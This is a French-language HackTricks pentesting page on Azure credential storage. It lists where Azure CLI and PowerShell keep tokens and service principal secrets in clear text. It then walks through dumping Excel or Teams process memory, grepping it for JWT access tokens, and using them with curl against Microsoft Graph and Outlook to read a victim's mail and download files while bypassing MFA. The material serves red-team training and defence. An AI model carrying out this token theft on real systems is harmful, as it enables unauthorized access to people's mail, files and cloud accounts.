Az - Local Cloud Credentials

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Stockage local des jetons et considérations de sécurité

Azure CLI (Interface de ligne de commande)

Les jetons et les données sensibles sont stockés localement par Azure CLI, soulevant des préoccupations de sécurité :

  1. Jetons d’accès : Stockés en texte clair dans accessTokens.json situé à C:\Users\<username>\.Azure.
  2. Informations sur l’abonnement : azureProfile.json, dans le même répertoire, contient les détails de l’abonnement.
  3. Fichiers journaux : Le dossier ErrorRecords dans .azure peut contenir des journaux avec des identifiants exposés, tels que :
  • Commandes exécutées avec des identifiants intégrés.
  • URL accessibles à l’aide de jetons, révélant potentiellement des informations sensibles.

Azure PowerShell

Azure PowerShell stocke également des jetons et des données sensibles, qui peuvent être accessibles localement :

  1. Jetons d’accès : TokenCache.dat, situé à C:\Users\<username>\.Azure, stocke les jetons d’accès en texte clair.
  2. Secrets de principal de service : Ceux-ci sont stockés non chiffrés dans AzureRmContext.json.
  3. Fonctionnalité de sauvegarde de jetons : Les utilisateurs ont la possibilité de persister les jetons en utilisant la commande Save-AzContext, qui doit être utilisée avec prudence pour éviter tout accès non autorisé.

Outils automatiques pour les trouver

Jetons en mémoire

Comme expliqué dans cette vidéo, certains logiciels Microsoft synchronisés avec le cloud (Excel, Teams…) pourraient stocker des jetons d’accès en texte clair en mémoire. Donc, simplement dumping la mémoire du processus et greppant pour des jetons JWT pourrait vous donner accès à plusieurs ressources de la victime dans le cloud en contournant MFA.

Étapes :

  1. Dump les processus Excel synchronisés avec l’utilisateur EntraID avec votre outil préféré.
  2. Exécutez : string excel.dmp | grep 'eyJ0' et trouvez plusieurs jetons dans la sortie.
  3. Trouvez les jetons qui vous intéressent le plus et exécutez des outils sur eux :
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Notez que ce type de jetons d’accès peut également être trouvé à l’intérieur d’autres processus.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks